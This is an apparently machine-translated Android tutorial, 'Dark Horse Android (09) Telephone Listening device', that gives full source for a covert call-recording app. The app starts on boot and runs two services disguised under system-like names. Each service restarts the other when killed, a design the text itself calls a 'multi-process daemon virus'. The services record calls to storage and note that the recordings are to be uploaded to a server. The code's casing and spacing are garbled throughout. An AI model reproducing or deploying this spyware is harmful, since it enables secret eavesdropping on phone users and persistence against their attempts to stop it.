"Dark Horse Android" (09) Telephone Listening device

phone wire

Development with Services

< LinearLayout xmlns:android= "http://schemas.android.com/apk/res/android" xmlns:tools= "http://schemas.android.com/    Tools "Android:layout_width=" Match_parent "android:layout_height=" match_parent "android:orientation=" vertical " Tools:context= ". Mainactivity "> <button android:onclick=" Start "android:layout_width=" Fill_parent "android:l ayout_height= "Wrap_content" android:text= "Start listening"/> <button android:onclick= "Stop" Android:la Yout_width= "Fill_parent" android:layout_height= "wrap_content" android:text= "Stop Listening"/></linearlayout> 

<?xml version= "1.0" encoding= "Utf-8"? ><manifest xmlns:android= "http://schemas.android.com/apk/res/ Android "package=" Com.itheima.phonelistener "android:versioncode=" 1 "android:versionname=" 1.0 "> <uses-s DK android:minsdkversion= "8" android:targetsdkversion= "/> <uses-permission android:name=" Androi D.permission.read_phone_state "/> <uses-permission android:name=" Android.permission.WRITE_EXTERNAL_STORAGE " /> <uses-permission android:name= "Android.permission.RECORD_AUDIO"/> <uses-permission android:name= "an Droid.permission.RECEIVE_BOOT_COMPLETED "/> <application android:allowbackup=" true "android:icon=" @ Drawable/ic_launcher "android:label=" @string/app_name "android:theme=" @style/apptheme "> <activ            ity android:name= "com.itheima.phonelistener.MainActivity" android:label= "@string/app_name" > <intent-filter> &Lt;action android:name= "Android.intent.action.MAIN"/> <category android:name= "Android.intent.categor Y.launcher "/> </intent-filter> </activity> <service android:name=" Com.itheima. Phonelistener. Systemservice "> </service> <service android:name=" Com.itheima.phonelistener.SystemService2 "        ; </service> <receiver android:name= "Com.itheima.phonelistener.BootReceiver" > <intent-filt er> <action android:name= "Android.intent.action.BOOT_COMPLETED"/> &LT;/INTENT-FILTER&G        T </receiver> </application></manifest>

Package Com.itheima.phonelistener;import Android.app.activity;import Android.content.intent;import Android.os.bundle;import Android.view.view;public class Mainactivity extends Activity {@Overrideprotected void OnCreate (Bundle savedinstancestate) {super.oncreate (savedinstancestate); Setcontentview (R.layout.activity_main);} public void Start (view view) {//Open service. Intent Intent = new Intent (this,systemservice.class); StartService (Intent);} public void Stop (view view) {//stop service. Intent Intent = new Intent (this,systemservice.class); StopService (Intent);}}

Receive a start-up broadcast

Package Com.itheima.phonelistener;import Android.content.broadcastreceiver;import Android.content.context;import Android.content.intent;public class Bootreceiver extends Broadcastreceiver {@Overridepublic void OnReceive (Context Context, Intent Intent) {Intent i = new Intent (context,systemservice.class); Context.startservice (i);}}

Multi-process Daemon virus

Package Com.itheima.phonelistener;import Java.io.file;import Java.io.ioexception;import android.app.Service;import Android.content.intent;import Android.media.mediarecorder;import Android.os.environment;import Android.os.IBinder ; Import Android.telephony.phonestatelistener;import Android.telephony.telephonymanager;public class SystemService Extends Service {//Phone manager private Telephonymanager tm;//Listener object Private MyListener listener;//claims recorder private Mediarecorder Mediarecorder; @Overridepublic ibinder onbind (Intent Intent) {return null;} The method called when the service was created @overridepublic void OnCreate () {///background listener call status. Get the Phone Manager tm = (Telephonymanager) this.getsystemservice (telephony_service); listener = new MyListener (); Tm.listen ( Listener, phonestatelistener.listen_call_state); Super.oncreate ();} Private class MyListener extends Phonestatelistener {//the method called when the call status of the phone changes @overridepublic void oncallstatechanged ( int state, String incomingnumber) {super.oncallstatechanged (state, incomingnumber); try {switch telephonymanager.call_state_idle://idle state. if (mediarecorder!=null) {//8. Stop capture Mediarecorder.stop ();//9. Release Resources mediarecorder.release (); mediarecorder = null; System.out.println ("After recording, upload the file to the server. ");} Break;case telephonymanager.call_state_ringing://0-ring state. Break;case telephonymanager.call_state_offhook://Call Status//start recording//1. Instantiate a Recorder Mediarecorder = new Mediarecorder ();//2. Specifies the sound source of the recorder Mediarecorder.setaudiosource (MediaRecorder.AudioSource.MIC);//3. Sets the format of the recorded file output Mediarecorder.setoutputformat (MediaRecorder.OutputFormat.DEFAULT);//4. Specify the name of the recording file files = new file ( Environment.getexternalstoragedirectory (), System.currenttimemillis () + ". 3gp"); Mediarecorder.setoutputfile ( File.getabsolutepath ());//5. Set the audio encoding Mediarecorder.setaudioencoder (MediaRecorder.AudioEncoder.DEFAULT);//6. Ready to start recording mediarecorder.prepare ();//7. Start recording Mediarecorder.start (); break;}} catch (Exception e) {e.printstacktrace ();}}} The method called when the service is destroyed @overridepublic void OnDestroy () {Super.ondestroy ();//cancels the phone's monitoring System.out.println ("ondestory"); Intent i = new Intent (this,systemService2.class); StartService (i); Tm.listen (Listener, phonestatelistener.listen_none); listener = null;}} 

Package Com.itheima.phonelistener;import Java.io.file;import Java.io.ioexception;import android.app.Service;import Android.content.intent;import Android.media.mediarecorder;import Android.os.environment;import Android.os.IBinder ; Import Android.telephony.phonestatelistener;import Android.telephony.telephonymanager;public class SystemService2 Extends Service {//Phone manager private Telephonymanager tm;//Listener object Private MyListener listener;//claims recorder private Mediarecorder Mediarecorder; @Overridepublic ibinder onbind (Intent Intent) {return null;} The method called when the service was created @overridepublic void OnCreate () {///background listener call status. Get the Phone Manager tm = (Telephonymanager) this.getsystemservice (telephony_service); listener = new MyListener (); Tm.listen ( Listener, phonestatelistener.listen_call_state); Super.oncreate ();} Private class MyListener extends Phonestatelistener {//the method called when the call status of the phone changes @overridepublic void oncallstatechanged ( int state, String incomingnumber) {super.oncallstatechanged (state, incomingnumber); try {switch (state) {CAsE telephonymanager.call_state_idle://idle state. if (mediarecorder!=null) {//8. Stop capture Mediarecorder.stop ();//9. Release Resources mediarecorder.release (); mediarecorder = null; System.out.println ("After recording, upload the file to the server. ");} Break;case telephonymanager.call_state_ringing://0-ring state. Break;case telephonymanager.call_state_offhook://Call Status//start recording//1. Instantiate a Recorder Mediarecorder = new Mediarecorder ();//2. Specifies the sound source of the recorder Mediarecorder.setaudiosource (MediaRecorder.AudioSource.MIC);//3. Sets the format of the recorded file output Mediarecorder.setoutputformat (MediaRecorder.OutputFormat.DEFAULT);//4. Specify the name of the recording file files = new file ( Environment.getexternalstoragedirectory (), System.currenttimemillis () + ". 3gp"); Mediarecorder.setoutputfile ( File.getabsolutepath ());//5. Set the audio encoding Mediarecorder.setaudioencoder (MediaRecorder.AudioEncoder.DEFAULT);//6. Ready to start recording mediarecorder.prepare ();//7. Start recording Mediarecorder.start (); break;}} catch (Exception e) {e.printstacktrace ();}}} The method called when the service is destroyed @overridepublic void OnDestroy () {Super.ondestroy ();//cancels the phone's monitoring System.out.println ("ondestory"); Tm.listen (Listener, PhonestateliStener. Listen_none); Intent i = new Intent (this,systemservice.class); StartService (i); listener = null;}}

"Dark Horse Android" (09) Telephone Listening device